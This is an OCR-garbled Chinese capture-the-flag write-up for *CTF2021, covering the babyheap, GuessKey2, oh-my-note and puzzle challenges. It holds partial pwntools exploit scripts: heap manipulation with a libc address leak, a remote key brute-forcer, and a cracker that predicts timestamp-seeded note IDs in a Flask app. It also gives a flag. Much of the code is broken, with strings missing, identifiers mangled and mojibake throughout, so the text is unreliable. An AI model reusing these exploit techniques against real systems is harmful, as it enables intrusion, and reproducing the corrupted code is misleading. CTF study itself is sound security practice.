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exp:
from pwn import

import time

pe
arch

context.update(arch=arch,os ,log level

DEBUG False
1f ELF(pe)
if DEBUG:
if arch
libc ELF(

else:
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libc = ELF(

process(pe)

else:
libc ELF(

r remote(

lambda data :r.send(data)
lambda delim,data :r.sendafter(delim, data)
lambda data :r.sendline(data)
lambda delim,data :r.sendlineafter(delim, data)
lambda delim,data :r.sendafter(delim, data)
lambda numb=4096 :r.recv(numb)
lambda :r.recvline()
lambda delims :r.recvuntil(delims)
lambda data :u32(data.ljust(4,
lambda data :ub4(data.ljust(8,
lambda :r.interactive()
info_addr = lambda tag, addr :r.info(tag . (addr))

def debug(addr=0,PIE=True):
time.sleep(1)

if PIE:
text_base r.libs()[r.cwd r.argv[0].strip( )]

if addr>0:
print( (text_base addr))

gdb.attach(r, . ¢ (addr), (text_base+0x2020a0), (text_base+0x2020

60)))

else:
gdb.attach(r, . (text_base+0x2020a0), (text_base+0x202060)))

else:
print( (addr))
gdb.attach(r, . (addr)))
time.sleep(1)

def msg(msg,addr):
log.warn(msg

def add(idx,size):
sla( ) )
sla(
sla(




def edit(idx,content):
sla( 5 )
sla( (idx))
sea( ,content)

def merge(content):
sla( 5 )
sea( ,content)

add(i,0ox10)

for i in (9,15):
add(i,0x20)

for i in (2,7):
free(i)
edit(i,p64(0))




edit(i,p64(0))

libc_base ub4(rc(6).ljust(8,b ))-0x3ebeco
msg( ,1libc_base)
libc.address libc_base

GuessKey2
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from random import randint
import os,time

from pwn import

mask ( ((1<<64)-1))
guess ((1<<64)-1)

r remote (

ctr (7]

for i in (1000) :

.recvuntil( ) .decode(

.sendline(mask)

.recvuntil( ) .decode(

.sendline( (guess))

data r.recvline().decode(

if in data:

mask
ctr+=1
print(data)

if ctr>2:
print(r.recvline().decode(

break

oh-my-note
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(' /my notes')
ldef ‘my_notes () :
| if-session.get {'usernams"}):
username -=-seszion|'username’]

user id-=-User.guery.filter by(username=username).firsc().user id

user id-=-reqguest.args.get('user id')
if not user id:
return -redirect (url for('index'))

results = -Note.query.filte
notes -=-[]
| for % in results:
note -=-{}

T id).limit(100).all()
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if user:
user_id user.user_id
else:
timestamp (time.time(), 4)
random. seed(timestamp)
user_id get _random_id()
user = User(username=username, user_id=user_id)
db.session.add(user)
db.session.commit()

session| ] username

timestamp (time.time(), 4)

post_at datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime(

random. seed(user_id post_at)

note id get_random_id()

noteZ tH BT A A P AIZFP, round (*, 4) fREE T4LL/MEL, fliuser idfET (A A] BE thpost atR JLE =R, FEILFEEFN
60*10000*104K o

exp:



import time

import random,string

import datetime

true_note_id

def get random_id():
alphabet (string.ascii_lowercase string.digits)
return .join([random.choice(alphabet) for _ in (32)1)
crack(s,milis,pre):
year 2021
month 1
day 15

hour 2+8
minute 29

without_timezone datetime.datetime(year,month,day,hour,minute, s, milis)

timestamp2 (without_timezone.timestamp(),4)

timestampl ((timestamp2*10000-pre)/10000,4)

random.seed(timestampl)
user_id get_random_id()

post_at datetime.datetime.fromtimestamp(timestamp2, tz=datetime.timezone.utc).strftime(

random.seed(user_id + post_at)

note_id = get random_id()

if note_id==true_note_id:
print(user_id)
print(note_id)
return True

return False

run():
for s in (60):
print(s,end )
for ms in (10000) :
for pre in (10):
if crack(s,ms*100,pre):
print( )
return
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https://reposhub.com/python/imagery/nemanja-m-gaps.html

AUEAEARERT, HERTRZK, HPh—KNERMT:

flagit2: flag{you_can_never_finish_the}

RANEHEEMBHRT, HER AEEDbp, R flag—EHIRHE, ®E4Hps—mEPtE, RERITERRE, 4+ RNEHEE
bp. o


https://reposhub.com/python/imagery/nemanja-m-gaps.html

	*CTF2021部分题目解题思路及exp
	文章目录

	babyheap
	GuessKey2
	oh-my-note
	puzzle

